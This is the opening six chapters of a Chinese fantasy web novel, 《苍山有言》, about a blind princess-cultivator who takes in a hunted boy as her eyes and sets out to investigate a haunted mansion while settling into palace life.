《苍山有言》 1. 第 1 章 《苍山有言》全本免费阅读 云雾飘渺,仙气缭绕。 一所仙居不远处,三三俩俩聚着一群小仙娥,朝仙居探头探脑的,叽叽喳喳的不知在说什么。 有仙使见了,连忙上前呵斥她们,“聚在这做什么?各自的事都做完了?” 仙娥们一撇嘴,挥了手便消失在原地,等仙使走远了,又显现出来,相视一眼,捂着嘴笑了起来。 有眼尖的小仙娥看到远处一个人影,激动地喊了起来,“那不是无惑仙君么?” 这么一喊,大家纷纷朝远处看去。 只见一人甩着空大的袖子走来,外袍随意披在身上,头发也用一根簪子胡乱扎起来,右手拎着个酒壶搭在肩上,大摇大摆地走着。 无惑仙君走近了,见到这一群小仙娥,不由得奇道:“哟,这是干什么呢?” 里面一位稍微年长的仙娥站了出来,笑道:“这些是最近才上界的仙娥们,听闻近日珩则仙君历劫归来,姐妹们还从未见过这位赫赫有名的仙君,实在好奇,特此带姐妹们来一睹仙君风采。” 无惑仙君却一挑眉,冲着那仙娥笑道:“只是带她们来看看?你不想看?” 无惑仙君虽不修边幅,但一张脸还是能看,仙娥微微红了脸,轻瞪了无惑仙君一眼。 “听闻仙君是珩则仙君的好友,可知近几日珩则仙君去了哪里?我们在这等了几天了,却未见过他一眼。” “他嘛……” 无惑微微一笑,却不答话。 * 雾气缭绕,一片青竹在水雾中静静垂着竹叶,叶尖上的露水下垂,落到了地上的水洼里。 水洼倒映着青竹的模样,还泛着未平静的涟漪,下一刻倒影却被一脚踩碎。 无惑往竹林里走了许久,却一直走不到头,他无奈地挠头,一叉腰,大吼了一声,“珩则——” 声音在竹林里回荡,然而回应无惑的,只有露水滴落到地上的声音。 无惑咬牙笑了笑,接着深深吸了一口气,一叉腰。 “珩则——” 无惑用了十足的功力,原地吹起一阵强风,旁边的青竹受不住这力道,纷纷向旁边倒去,发出唰唰的声音,几乎要被吹倒。 “静声。” 空荡的竹林里传来一道清冷的声音,嘈杂的竹林立刻安静下来,被吹倒的青竹也立了起来,仿佛方才的事没有发生过一般。 “哎呀,你可终于出声了。” 无惑哈哈一笑。 竹林中的人问:“你来做甚?” 无惑抬起拿着酒壶的手,“来找你喝酒啊。好不容易历劫回来,你却谁都不见,一人躲进这破竹林里,实在叫人忧心啊。” “我无事,请回吧。” 无惑充耳不闻,笑嘻嘻道:“别呀,许久不见,甚是想你。莫不是你在人间闯了什么祸,怕仇人寻来?又或者招了什么桃花,不敢见人?还是……” 竹叶突然轻轻颤抖了一下。 无惑脚下一蹬,整个人便冲过了竹林,等林中的人反应过来时,已拦不住无惑。 无惑一路破竹到了林中,顺手扯了旁边一根细竹,细竹瞬间化为竹剑,缠绕上了仙气,直直朝着林中的人刺去。 林中那人一身白衣,背对着无惑,待剑气袭到身后时,他才不慌不忙地侧身,抬起眼眸看向无惑,纵使竹剑已到眼前也丝毫不惧。 大风将他的黑发与衣袍吹起。 下一刻,他便从袖中伸出白皙修长的手指,轻轻夹住了袭来的剑锋,他眼神一变,爆发出一股强烈的仙气,那原带着仙气的竹剑就变回了普通的青竹。 无惑却被这仙气一掀,在空中扑腾了几下才稳住了身型。 他刚落地,就忍不住大骂,“喂!干嘛出手这么重!” 珩则垂眸看了手中的青竹一眼,用手轻轻抚上断裂之处,“你弄坏了我的竹子。” 无惑看向他手中的竹子,没有任何特别之处,就毫不在意的嘟囔道:“不就是根破竹子吗?大不了我赔你。” 珩则手一抬,那断竹便化成一缕青烟,融入竹林中去了。 “找我干什么?” 无惑道:“都说了找你喝酒……” 蓦地他脸色一变,回头一看,那酒壶未能在方才那场冲突中幸免,强烈的仙气已经将那酒壶震碎开来。 无惑奔过去,捧着酒壶碎片嚎啕大哭起来,“桃园香……这可是天君赏给我的桃园香……” 珩则看了他一会儿,“若是没事,便请回吧。” 说罢身后就出现了一件竹院,他转身推开院门,就听无惑问:“你这几日就住这啊?” 这间竹院实在简陋,围栏皆是用竹子歪歪扭扭的围起来的,院里的房子也是竹屋,地上似乎还种着几棵营养不良的小白菜。 无惑眼角一抽。 珩则“嗯”了一声,推开门走了进去,丢下一句,“无事不要来打扰我。” 说着就要关上门。 只听“啪”的一声,无惑的手掌拍在了门上,整个人都探了进来。 珩则垂下眼眸。 无惑手上用劲,院门便关不上,珩则只好松了手,让无惑走了进来。 珩则背对着无惑,问:“还有何事?” 无惑敛了笑容,盯着他的背影问:“珩则,你可有事瞒着我?” “并无。” 无惑眼睛一眯,伸手就朝珩则探去。 珩则听到背后风声起,反手朝他袭去,却不想无惑一矮身,直径窜到他面前。 珩则一愣,额头便被无惑用手点住了。 无惑大惊。 他瞪大了眼,震惊地看着珩则,半晌才颤抖道:“是谁干的?” 珩则不语。 无惑深吸几口气,大步就朝外走。 “你做什么去?” 无惑回道:“查你在人间都惹了什么人!” 珩则淡声,“不必了。” 无惑气极了,转过身几步上来就抓过珩则的衣襟,怒道:“你知不知道你丢了一魂一魄!一有不慎就会走火入魔,万劫不复!” 珩则盯着无惑,“你觉得谁有本事抽了我的魂魄?” 无惑慢慢松开扯着他衣襟的手。 珩则笑了笑,“那一魂一魄,是我自己抽的。” 虽然已猜到几分,但无惑还是震惊地看着珩则,“为何?” 从方才交手时他便觉得奇怪,以往若珩则不愿,他根本没机会近得了珩则的身,可方才他却破了竹林中的结界,还这般轻易地冲到了珩则身边。 抽出并分离神魂,不仅会有走火入魔的风险,也会大大损伤修为。 珩则却笑笑,只回头看向里面歪歪扭扭的竹楼。 无惑觉得眼前景色一晃,他脸色一变,扑上前去,“珩则!” 却扑了个空,眼前的竹院已经消失了,他又回到了最初的那片竹林里。 “珩则!你个混蛋!” 无惑又喊了几声,竹林里除了他的回声就没有任何回应,他只能狠狠踹了旁边的青竹一脚。 * 几日后,无惑仙居里跑了一小童,喜道:“仙君,听闻珩则仙君回来了!您不去看看吗?” 无惑坐在桌前,悠悠翻了一页书,“不去。” 小仙童知道无惑与珩则吵架了,可自家仙君与珩则仙君向来要好,或许几日后就和好了。 他凑到无惑旁边笑道:“真的不去吗?” 无惑一皱眉,“不去!” 小仙童向下瞥了一眼,好心道:“仙君您的书拿反了。” 无惑腾地站了起来,把书往桌上一摔,将小仙童推出门外,嚷嚷着,“今日怎的这般啰嗦,不去就是不去!” “啪”的一声把门一关,世界总算是清净了。 几个时辰后,珩则仙君的仙居外,站了一位不修边幅的仙君。 那不修边幅的仙君冷着脸道:“我要见你家仙君。” 守门的小仙童自然是认识无惑的,他挠挠头,“无惑仙君来的不巧了,我家仙君方才下凡去了。” 跟着无惑来的小仙童突然一抖,颤颤巍巍地瞥了一眼旁边的仙君,只见无惑面无表情,周身的威压却越来越重。 两位小仙童默默对视一眼,不敢言语。 良久,天庭传来无惑的一声怒吼,“珩则——” 后来无惑问遍了所有人,皆没人知晓珩则到底去了哪里。 * 竹叶青葱,一片竹林里蜿蜒着一条小路,泥土还有些潮湿,路上被压出一行行车轱辘印子。 小路上静静地停着一辆马车,车壁陈旧,歇着的马也上了些年纪了,这会儿无精打采地垂着头。 蓦地,竹林深处传来一阵 2. 第 2 章 《苍山有言》全本免费阅读 少年觉得自己怕是到了仙界。 迷迷糊糊中睁眼,竟看到了一位穿着青衣的仙女,虽然头带帷帽,看不清面容,但朝他伸来的手指白皙青葱,身上也飘来一股清香。 蓦地,少年清醒过来,一把抓住仙女的手,恶狠狠道:“你想干什么!” 仙女一愣,“你这小子,怪没礼貌的。” 说完,少年就觉得手一疼,不得不松开了手。 他环视一周,才发觉周围是方才逃命的竹林,殴打他的人已经不见了,但周围还插着几把刀。 这里不是仙界,那女子也不是仙女,他后知后觉,应是她救了他。 那女子已经站起身来,朝着竹林深处走去了。 “等等!” 少年撑起身来,就扯得身上伤口一痛,他闷哼一声,一瘸一拐地朝女子跑去。 而那女子却不回头,自顾自地走着。 少年追上她,“实在抱歉,方才我有些不清醒......姑娘手可还好?” 女子不语,直径走到了路旁的马车边,她一撩帘子,就探入了马车内。 外头的少年不知如何是好,嚅嗫着,“多谢姑娘的救命之恩,只是我现下也没什么能报答的,待来日若有机会,我一定倾尽全力报答姑娘。” 说没说完,就听到竹林里一阵嘈杂声。 少年脸色一变,还未所有反应,车帘就被撩起,女子道:“愣着干嘛,还不快上来?” 行动快过思考,等反应过来,他已经坐上了马车。 他一进来,女子就伸脚踢他,“你去外头赶马。” 少年又坐到外边,吆喝一声,马车就朝竹林深处驶去。 马跑的自然比人快,不一会儿追赶的声音就被抛在了身后。 过惯了战战兢兢的日子,这般在林间赶马,感受着迎面而来的凉意,少年竟有些惬意。 少年问:“那群人怕是不会罢休,我这般可会连累到姑娘?” 车内的女子轻笑一声,“向来都是我连累别人的,从来没人连累过我。” 她又问:“你叫什么名字?” 少年沉默了一会儿,“楚行昀。” 女子“嗯”了一声,“你叫我昭意就好。行昀啊,我有些困了,你便好好驾车,那些人应该是追不上来了,路上若有客栈便停着休息一会儿,无事不要叫我。” 说完,马车内就安静了下来。 楚行昀也收回心思,专心架马。 马车行了一会儿,驶出了竹林,又行了不远,停在了路旁的一家客栈前。 楚行昀唤了昭意几声,车内才有了动静。 两人进了客栈,要了两间房间。 楚行昀刚要说什么,就听昭意说:“天色不早了,先休息一晚,有什么事明日再说。” 他一愣,看了眼外面还明亮的天色。 接着又听昭意道:“你找店家要热水清洗一番,马车内有一套男衣,你可拿去穿。” 楚行昀脸一红,低着头就去找衣服了。 逃亡许久,楚行昀已很久没有泡过这样的热水,好好清洗一番,透过镜子看到了洗去污垢的脸,一时间竟然有些恍惚。 而这样宁静的时间却不长,因为他听到了客栈外传来了熟悉的声音。 “就是这辆马车,那小子肯定在这里!” 楚行昀脸色一白,接着房门就被踹开。 昭意已经走了进来,“你招惹的人可真难缠。” 楚行昀一噎,“对不住......” 她过来支起窗户,让楚行昀往下看,“敢跳么?” 这个房间在三楼,旁边没有树,底下也没有棚子,这般跳下去轻则断腿,重则送命。 楚行昀咬了咬牙,“能......能吧。” 昭意叹了口气,“罢了。” 说罢,提着他的衣襟,一脚踏上窗台,纵身就往外跃。 楚行昀瞪大了眼,惊呼声堵在了嗓子眼。 追随的人一脚踢开房门,扫了房内一眼,看到了大开着的窗户。 领头的人探头看了一眼,“呸”了一声,“追!” 说罢,一群人就往外跑去。 客栈的房顶上,蹲着两个人。 昭意将楚行昀圈在怀里,用手捂着他的嘴巴,两人静悄悄地一动不敢动,听着底下的人走远了,这才松了口气。 楚行昀红了脸,“姑......姑娘,可以放开我了。” 昭意这才松了手。 楚行昀连忙往后退了几步,一屁股坐在了瓦片上,大口喘着气。 她听着旁边的人呼吸错乱,觉得好笑,“你一个孩子,害羞什么?” 楚行昀红着脸,等缓过气来,他对昭意道:“我这般跟在姑娘身边,怕只能拖累姑娘,不如我们就此分道扬镳......” 话音未落,就见带着帷帽的她转过头来,“你这就想跑?” 楚行昀一噎,“非......非也。” 她笑了一声,“不如这样,我身边缺个跑腿儿的,你跟在我身边,我保你性命无忧,如何?” “这......这......” 楚行昀上下打量着她,一身青衣下的身形瘦弱,从袖中伸出的手指青葱,又看了一眼已经奔至楼下的几位剽型大汉,有些疑虑。 正想着,他突然与楼下的一人对上了眼,就听底下传来一声怒吼,“他们在上面!” 原来是下面的人找了一圈,也没有找到踪迹,有一人抬头一看,就见两个人蹲在房顶上。 昭意充耳不闻,偏头问他:“如何?” 楚行昀看了下面的人一眼,想到在竹林中的奇遇,咬牙道:“好!” 她点点头,伸出一个指头,一道蓝光就从她手尖飘了出来,落到楚行昀眉间。 楚行昀大惊,“这......这是?” 昭意道:“这是主仆契约,此后我能时时知晓你去向,若你不忠不诚,契约就会反噬你。不过也不用担心,只要你好好听我的话,这契约便不会为难你,我自然也会保你平安。” 楚行昀直接白了脸。 这时追赶的人已经到了房间内,从窗口伸着脑袋往上看,还有人找来了棍子,不停地往上戳,欲图将房□□垮。 楚行昀也顾不得那什么契约了,“现在怎么办?” 昭意摇摇头。 他瞪大了眼,“这是什么意思!” 昭意轻轻一笑,“我每日能用的灵力有限,刚刚结契的已经是最后一点灵力了。” 楚行昀气极,长时间的饥饿与逃亡早就让他体力透支,这会儿差点急得晕过去。 或是有些忌惮这女子,这群人抓到两人后,并未对他拳打脚踢,只是将两人一同关在一间小院里。 楚行昀在屋里蹲了许久,他一会儿站到被封住的窗前,试图透过缝隙往外看,一会儿蹲在地上,脑袋贴着地面听着外面的动静。 他偶然看到坐在一旁打坐养神的女子,突然有些气恼,“你可有法子出去?” 昭意摇头,“暂无,等着就好。”< 3. 第 3 章 《苍山有言》全本免费阅读 昭意一喜,“师兄……” “胡闹!” 予林抓过她的手,一探她体内的灵力,呵斥了她一声,昭意连忙缩了脖子。 “之前说的话,都当耳旁风了?” 昭意小声道:“这是特殊情况,我也是为了救人嘛。” 予林目光越过昭意看到了她身后的楚行昀,见他瘦瘦小小的,身上绑着的衣服有些大了,穿在他身上有些不合适。 予林再仔细一看,这不就是他的衣服吗! 他眉头一皱,还未说什么,就听见外头传来一阵杂乱的脚步声,还伴随着听刀剑相接的声音。 紧接着院门被人一脚踹开,涌进一群穿着甲胄的人,皆配兵器,来势汹汹,一进院门,便将院子里的人通通拿下。 外头有人高喊:“你们是什么人?竟敢擅闯小爷的别院!” 门口吵吵嚷嚷地走进来一公子,皮肤白皙,生得浓眉大眼,腰间别着把折扇,就是身子骨较瘦,一身锦袍挂在身上像挂在架子上一般,这会儿怒气冲冲的走进来,腰上的玉佩晃得撞出声来。 那公子瞪着眼走了进来,一见院中穿甲胄的人,随即目光落到其中一人身上,生气道:“江行舟,你做什么!” 旁边名为江行舟的人不言不语,像是没把这公子放在眼里似的,气得那公子直跺脚,“江行舟,你这般肆意妄为,不怕我爹参你一本?” 没等江行舟答复,旁边又传来一阵上气不接下气的笑声。 往旁边一看,有一男子身上穿着靛蓝长袍,头上带着镶着玉石的帽子,因跑得有些急,帽子往旁边歪了一些,来者急色匆匆,甚至没伸手去扶。 许是跑得急,他满头大汗,弯着腰扶在院门上喘着气,方才听见那公子的话,忍不住地笑起来。 那公子往后一看,气得脸都红了,“你们……你们私闯民宅,结党营私,图谋不轨!我要去告发你们。” 闻言,蓝袍男子哈哈大笑起来,“蒋公子莫不是说笑呢,你绑架民女,不知道是谁告发谁呢。” 蒋青云一噎,看了眼站在予林身边的昭意,又看了被绑在地上不得动弹的几人,上去就狠狠踹了几脚,咬牙切齿道,“爷让你找臭小子,你怎么还给爷找个姑娘!” 被踹的人苦不堪言,忍痛在蒋青云耳边低语几句,蒋青云扫了眼一身青衣的予林,眼睛一暗,随即又笑道,“哎,大多点事儿,手底下的人抓错人了。” 说罢又狠狠踢了几脚,那人被踢得连连喊痛,最后眼一闭,似乎是晕过去了。 蒋青云摆摆手,“这都教训过了,就算了吧,都是认识的人。” 予林盯着地上晕倒过去的人,冷笑一声,便见那人腾空而起,随即被狠狠砸在墙上,又落到地上来,发出一声巨响,那人惨叫一声,便再无声音。 昭意敏锐地闻到空气中的血腥味,心里一紧,赶紧扯了扯予林的袖子。 予林只道:“人没事,给他点教训,省得有些人不知轻重得罪不该得罪的人。” 说这话时,予林看向站在旁边的蒋青云,与其对视了一眼。 蒋青云摊开手,朝予林一笑,毫不在意似的。 昭意感受到气氛有些紧张,生怕予林再下死手,到时候回了落鹫山不好向师父交代,便连忙扯了予林袖子示意要走。 蓝袍男子见状,上前一步道:“马车已备好在门口,两位道长可先行一步,这里交由我处理即可。” 昭意一点头,拽着予林就走,回头喊了楚行昀跟上。 楚行昀抬头,与那蒋青云对视了一眼,他握紧了拳头,提脚跟上。 与蒋青云擦肩而过时,却又听蒋公子问:“不知这个小兄弟是何人,看着甚是眼熟啊。” 说着,众人目光聚集到了楚行昀身上。 楚行昀咬了咬牙,刚要说话,就听旁边昭意道:“这是我师弟予秋,与我们一同从落鹫山来,初次到祝郦国,公子恐怕认错了吧。” 昭意一发话,旁边的蓝袍男子赶紧接话,“既然是予青道长的师弟,还有什么可眼熟的,蒋公子,这世界上相似的人多了去了,这有什么可奇怪的?” 蒋青云只好后退一步,笑了笑,“许是真的认错了,实在抱歉。” 于是让了路,让三人走了出去。 门口果然停着一辆马车,旁白还站着几个侍从,见三人出来,连忙将人请上车。 马车上,予林脸色沉沉,三人不语,气氛十分低压。 予林握住昭意手腕便输送灵气,冷声问:“锁魂玉可还好?” 昭意赶紧道:“好着呢,我也没敢用太多灵力。” 予林瞪她一眼,“我看你没什么不敢的,让你在马车里等我,你却自己驾车走了,不怕一头撞死在林子里?” 昭意抿了抿唇,朝楚行昀方向偏了偏,“我这不找了个马夫嘛......” 予林抬眸看了一眼旁边蜷缩着腿的少年,瞪着昭意,“稍后再问你这事。” 昭意小声道:“倒是师兄,不是说解决尾巴去了?怎的带着尾巴一起来寻我?” 予林看向昭意,眼色微动,酝酿了半晌,才道:“予青,他们......并不是坏人。” * 这得从师兄妹俩下山说起。 昭意和予林师从落鹫山百枫院的静元真人,两人自小便在落鹫山长大。 落鹫山在世间算得上是赫赫有名的仙山,此山不属于天下哪一国,山中之人亦不属于哪一国人,若得山中真人看重,世人不分高低贵贱皆可入山修行,山中修行之人有平民贱奴之籍,亦有皇族贵臣之辈。 落鹫山以亲善闻名,常行惩恶扬善、除妖辟邪之事,曾开山接纳流民,施粥布善,世间修行门派并非落鹫山百枫院一家,但在世人心中地位甚高者,唯有落鹫山而已。 祝郦国京城出了一桩怪事,国君便派人请落鹫山的道长前去解决。 降妖除魔对于落鹫山的弟子来说没什么特别的,特别的却是昭意。 昭意除了是落鹫山静元真人的弟子予青,还是祝郦国的四公主昭意。 她约莫是六岁那年被送到落鹫山,多数记忆不大记得了,只是听师父说过 4. 第 4 章 《苍山有言》全本免费阅读 有着应许和江行舟的护送,这一路就安稳得多。 夜深,一行人在一家客栈住下。 迷迷糊糊间,楚行昀似乎听到有人说话,多年来被追杀的直觉叫他从睡梦中惊醒。 他刚要坐起身来,蓦地想到什么,僵住了身子,继续躺在床上,平稳呼吸,佯装未醒,却竖着耳朵听着外面的动静。 外面说话的是昭意和予林。 予林闷闷的声音隔着窗户传来,“你是何如想的?” 昭意佯装不懂,“师兄指的是什么?” “自然是那小子的事。” 楚行昀屏息凝神。 昭意没说话,予林叹了口气,继续说:“他可是自愿签订的契约?” 昭意小声道:“自然是自愿的。” 两人沉默了一会儿。 昭意又道:“真的!” 良久予林才道:“予青,我同你一起长大,你如何想,我还不知吗?” 昭意知道瞒不过去了,这才小声坦白,“师兄,我知道错了。等你送我到京都,你便要走了,留我一人在那里,宫里的人我都不认识,我就想有个人陪我。” 闻言,楚行昀紧闭的睫毛微微一颤。 “予青......” 予林的声音顿了顿,似乎不知道该说什么好。 良久,他才道:“尽管如此,你也不该哄骗他人订下这契约。这契约本就不平等,虽也有人借力量强制签订契约的例子,可那并不是我们院的做法。师父曾说,万物皆有缘,不可强留,不可强求......” “知道了知道了,若他真不愿,明日我便将那契约解掉。” 一听予林说起师父,昭意连忙打断予林的话,不然这一夜都不够予林讲。 两人说话声音越来越近,楚行昀连忙调整了呼吸。 等脚步声从房门前走过,消失在了走廊尽头,他才猛地睁开眼,深深吸了几口气,在黑暗的夜里笑了起来。 他笑够了,躺在床上平复了气息,一转身,就见一白色的身影坐在不远处的桌子上。 吓得楚行昀猛地坐起,死死盯着那白色的身影,出了一身冷汗。 白色的身影从桌上一跃而下,离得近了,楚行昀才接着月光看见她带上带着帷帽。 楚行昀咽了咽唾沫,“昭......昭意姑娘?你何时进来的?” 他勉强笑了笑,随着昭意的走近,他身子往后挪了挪,摸到了枕头底下的匕首。 昭意偏头一笑,“就在你方才大笑的时候进来的。你或许不知,这大晚上的,听着怪吓人的。” 楚行昀握住了匕首,怦怦跳的心逐渐平稳了下来。 他盯着昭意,“这么晚了,昭意姑娘有何事?” 昭意道:“找你谈一笔买卖。” 楚行昀微微眯眼,防备心不减。 昭意直径坐上他的床榻,伸手按住了他握住匕首的那只手,轻声道:“放心,绝对是划算的买卖,不会占你一分便宜。” 刹那间,楚行昀只觉有什么东西划过,手中的匕首就到了昭意手里。 他一惊,还来不及反应,额头上便被贴了一张符纸。 昭意开门见山,“你想要什么?” 楚行昀道:“找出杀母仇人,为母报仇。” 说罢,他瞪大了眼,伸手死死捂住嘴巴。 昭意手指摩挲着下巴,思索了一会儿,“这应是不难......” 楚行昀一把扯掉额头上的符纸,揉碎在手里,恶狠狠地看向昭意。 “这是什么!” 昭意笑道:“这是我自制的真话符,效果不错吧?” 楚行昀咬紧了牙关,怒视着眼前的人,若那匕首还在他手中,眼前的人早已血溅当场了。 昭意道:“我帮你找到仇人,并助你报仇,换你十年对我忠心耿耿,如何?” 楚行昀满脸质疑,“我凭什么信你?” “方才我与师兄的话,你也听到了吧?不用瞒我,我从小便练炽阳心法,能洞察周围气息走向,方才我与师兄说话时,我就知晓你已经醒了,在说及宫中之事时,你气息那般混乱,必定是这宫中有你想要的东西。” 楚行昀沉默了一会儿,“你想让我如何?” 昭意上前几步,抬手摘下头上的帷帽。 窗外冷冷的月光照了在眼前的人身上,乌发披在身后,面若白雪,眼眸似半空中那抹圆月般澄澈,却空洞无神。 楚行昀一愣,“你......” 昭意道:“我无法视物。” 楚行昀沉默,蓦地想到一路上她那些怪异的行为举止,一切似乎都说得通了。 昭意走到楚行昀榻前,眼睛与他双眸平视,“我帮你复仇,这十年里,你来做我的眼睛。” 虽不曾去过宫里,但昭意深知这里面的水有多深。 尽管炽阳心法可以减去一些她眼盲所带来的麻烦,却不能完全代替眼睛。 因此她急需在进宫之前,找到一位可以信赖的人,做她日后在宫中的眼睛。 虽然知道她看不见,但对上那双眼睛时,楚行昀还是不自觉红了脸,连连往后挪了挪。 他深吸几口气,用手压了压乱跳的心,“若不我愿呢?” 昭意缓缓直起身来,抛给他一个东西,在月光照射下折射出一道冷光。 楚行昀连忙接过,是他的匕首。 “若你不愿,就当我没来过。” 她弯腰拿起放置在桌上的帷帽,毫不在意地转身向房门外走去。 一步,两步,三步...... “等等。” 背对着楚行昀,昭意暗暗笑了笑。 * 次日。 “你方才说什么?” 楚行昀抬头,朝着站在他面前的两人一笑,纯良无害,“我愿意跟在昭意身边。” 昭意还未说话,予林就眉头一皱,问:“为何?” 楚行昀道:“昭意救我一命,我自然是该报答她的。” 予林将信将疑。 旁边的昭意连忙拦住予林。 “师兄,他都说愿意了,这下没问题了吧?” 予林双眸锐利如剑,直直看向楚行昀。 “那日追杀你的是何人?为何追杀你?” 楚行昀脸色白了白,似乎还未从那场追杀中缓过神来,他摇摇头,“我也不知,几月前,家母病逝,家中只留我一人。我便想着上京寻条活路,也不知招惹了何方贵人,路上竟遭人追杀至今。” 予林微垂眸,静静地看着他不语。 楚行昀仰头直视予林,缩在袖中的手暗暗捏成了拳。 感受到气氛有些紧张,昭意连忙拉过予林的袖子。 “好了师兄,他还是个孩子。” 予林一挑眉,审视着楚行昀,“一个十三岁的孩子?” 楚行昀脸突然红了。 “我从未在这方面瞒过你们什么!” 昭意愣了愣。 楚行昀长期过着死里逃生的生活,饱一 5. 第 5 章 《苍山有言》全本免费阅读 闹鬼之宅原是京城富商朱家的宅院。 起先是宅中丫鬟夜间听到院中有女子哭泣声,进院却寻不到人。 闹鬼之事,从不知来源的哭泣声逐渐变为夜间有人疯狂砸门,家中妇人去看,竟见一人吊在空中,那人脚穿梅色绣鞋,在空中荡着,吓坏了不少人。 如此多事,朱家人连忙请了高人来看,还没等鬼被捉住,朱家人已经个个精神恍惚,最终还是搬出了那宅子。 后来有几家人贪图便宜买了朱宅,前前后后又吓得搬了出来,几次经手,朱宅的鬼宅之名便传开来,再无人敢买这宅子。 国君郑重道:“若能解决此事,孤定有重赏。” 予林领了命。 旁边的昭意心中一动,“父皇,我也想同师兄一起查朱宅的事。” 话刚出,就被予林拉了拉袖子,却没来得及阻止她。 皇后捂嘴轻笑一声,转头看向旁边的贵妃。 “妹妹,你这女儿倒是率直,心中装的都是鬼神之事,以后恐怕难以居于宫中。” 林贵妃笑了笑,“这丫头久居宫外,一时间不适应是正常的,日后慢慢管教便是。” 皇后忧心道:“若是小时候倒还好,如今大了,一些习惯恐怕难以纠过来。” 林贵妃微微蹙眉,面上微笑却不减。 “好了。” 国君拍了拍桌,看向昭意,“到底是皇室公主,又在外过了那么多年的苦日子,是时候回宫好好享福了。” 也不等昭意说话,大手一挥,走进来两个婢女,一左一走走向昭意。 林贵妃笑道:“采樱择梨,还不快带公主回殿?” 昭意坐着没动,两个婢女对视一眼,一边上前搀扶昭意,一边小声道:“还请殿下不要为难奴婢们。” 昭意默了一会儿,随着两人站了起来,甚至来不及与予林道别,就被两人引着走出了殿。 到了林贵妃为她精心备好的梧桐宫,已有两个嬷嬷等候多时了。 两个嬷嬷见了昭意,恭恭敬敬朝她行了个礼,“见过四殿下。” 昭意没见过这阵仗,“这是做什么?” 一位嬷嬷回道:“老奴前来教导公主礼仪的。公主唤老奴李嬷嬷便可,这位是顾嬷嬷。” 昭意问:“是贵妃娘娘让你们来的?” 话音刚落,那位顾嬷嬷便厉声道:“公主当称娘娘一声母后。” 她扫视一眼昭意空洞的眼睛,昂着头冷面道:“虽然公主身上多有不便,但作为皇室公主,这等基本礼数也是要好好学的!公主出去,代表的是娘娘和二殿下,切不可做失了身份之事,丢了脸面!” 顾嬷嬷的声音又尖又刺,实在难听。 昭意抿唇。 方才在大殿上,不由分说的就被两个婢女带来此处,正憋了一肚子的火气,又有两个嬷嬷堵在门前暗戳戳说她不知礼数,实在是令人恼怒。 昭意上前一步,笑问:“贵妃娘娘可是今日就让两位嬷嬷来教导我?” 顾嬷嬷还欲纠正她的称呼,李嬷嬷便先回道:“娘娘先命老奴前来与殿下认个脸熟,教导一事明天开始。” 昭意偏向顾嬷嬷那方,“今天也算是熟悉了,那昭意就告辞了。” 说罢,背着手便从两位嬷嬷身边走过,直接往大门里去了。 两位婢女面面相觑,给嬷嬷们告了声不是,赶紧跟上了昭意。 顾嬷嬷一瞪眼,指着昭意的背影半天说不出来话,气红了脸,“这天下竟有如此毫无礼数之人!” * 梧桐宫选址较为偏僻,少有人来,但也因此树荫浓密,郁郁葱葱,昭意还算是喜欢。 且不说贵妃娘娘对她有几分真心,但至少从面上来看,该有的东西都不缺。 进了殿,昭意便将宫人都赶了出去。 她四处摸索了一会儿,皱了皱眉,“我的箱子放哪了?” 四周静了一会儿,角落里有个箱子悠悠飘了起来,落到了桌上。 昭意闻声走了过去,开了箱子,检查了一番,里面放置的符纸和法器都完好无损,这才又将箱子关上。 她想了想,还是道:“这箱子你帮我藏到安全的地方。” 她身后凭空传来一声,“我怎知哪里安全?” 话音刚落,便有个人显现出来,身材偏瘦,头发高束,正是楚行昀。 昭意杵着脑袋一笑,“这我可不管,只要不被人搜出来就好。” 楚行昀在四周扫了一眼,面无表情地将箱子抱起,脚下一蹬,整个人便飞到屋梁上,将箱子藏到了上面。 等放置好了箱子,昭意才问:“这隐形符可好用?” 楚行昀腰间系着一个袋子,里面是昭意给他的隐形符。 从下了马车后,他便一直跟在昭意身后。 楚行昀道:“甚好,一路上无人发现我。” 昭意点点头,“那就好。” 楚行昀犹豫了一会儿,还是道:“这隐身符虽好,但还有时间限制,时间一过便会显形,一直在这宫中如此行事,恐怕不是长久之计。” 昭意一笑,“你这是嫌自己不够光明正大?你看看我身边的人,不是宫女便是太监,莫不是你想当个小太监......” 话音未落,楚行昀便红着脸站了起来。 “罢了,我觉得这般挺好的!” 昭意噗嗤一笑,但又想到了一事。 “你帮我打探打探朱宅的事情。” 楚行昀瞪大了眼,“我这样如何打听?不把别人吓个半死就算好的了。” 昭意摇摇头,“哎,宫里打听不成,你还能去宫外打听嘛。如今这宫门还困得住一个隐形人?” 楚行昀气极,这梧桐宫极为偏僻,从这到宫门都得花很多功夫。 一抬头,又看到昭意那面带笑容的脸,心里一把火烧得更旺了。 “成!我现在就去给你打听!” 他站了起来,捏了一张符,一把推开门,便大步朝外走了出去。 两扇门被使劲一推,发出“啪”的响声,撞得门板微动。 宫人听到动静,连忙跑了过来,探头一看,只见两扇门大开着,昭意坐在桌前。 “殿下?” 昭意使劲握了握花瓶,扭头朝那宫人一笑,“方才风太大了些,把门吹开了。” 宫人看了看静悄悄的四周,有些迷茫地将门轻轻关上。 * 次日,天未亮,那两个叫采樱和择梨的宫人便把昭意从床上拉了起来。 刚梳妆好,两位教导礼仪的嬷嬷就来了。 那位顾嬷嬷昨天在宫门前吃了瘪,今日精神抖擞的,目光直直盯着昭意,皮笑肉不笑的,“四殿下今日可准备好了?” 一听这浓浓的火气,昭意心里叹了一口气。 果然,不等昭意说话,顾嬷嬷便微仰着头,“学习礼仪前,老奴还得多言几句,在这宫里殿下还是谦虚些为好,若像昨日那般傲气,恕老奴直言,迟早会为殿下招来祸害 6. 第 6 章 《苍山有言》全本免费阅读 男子身着浅白长袍,双眸如墨,微微低头,含笑看着昭意。 身后的宫人惊呼一声,纷纷跪下。 “二殿下!” 来者正是二皇子娄齐洲。 昭意不习惯与陌生男子如此贴近,手一用力,便从对方手中挣脱,微微后退了几步。 娄齐洲微微一愣。 顾嬷嬷见了,眉头一拧就要说话,旁边的李嬷嬷眼疾手快一把将她按住。 娄齐洲笑了笑,“是我唐突了。” 他扫视一眼院内的狼藉,“这是怎的了?” 顾嬷嬷赶紧拉开李嬷嬷的手,大声喊冤,“殿下,您可要给老奴做主啊!” 娄齐洲眼神一沉,对旁边的侍从对视一眼,宫人心领神会,请娄齐洲与昭意二人进殿。 顾嬷嬷见了,心中有些惶恐。 李嬷嬷在她耳边低声一句,“顾嬷嬷休要提方才之事。” 说罢,跟着众人进了殿。 怎料听了李嬷嬷的话,顾嬷嬷眼里升起一片愤恨,看了眼众人的背影,起身跟了上去。 宫人们立马将殿内清扫干净,请娄齐洲上座。 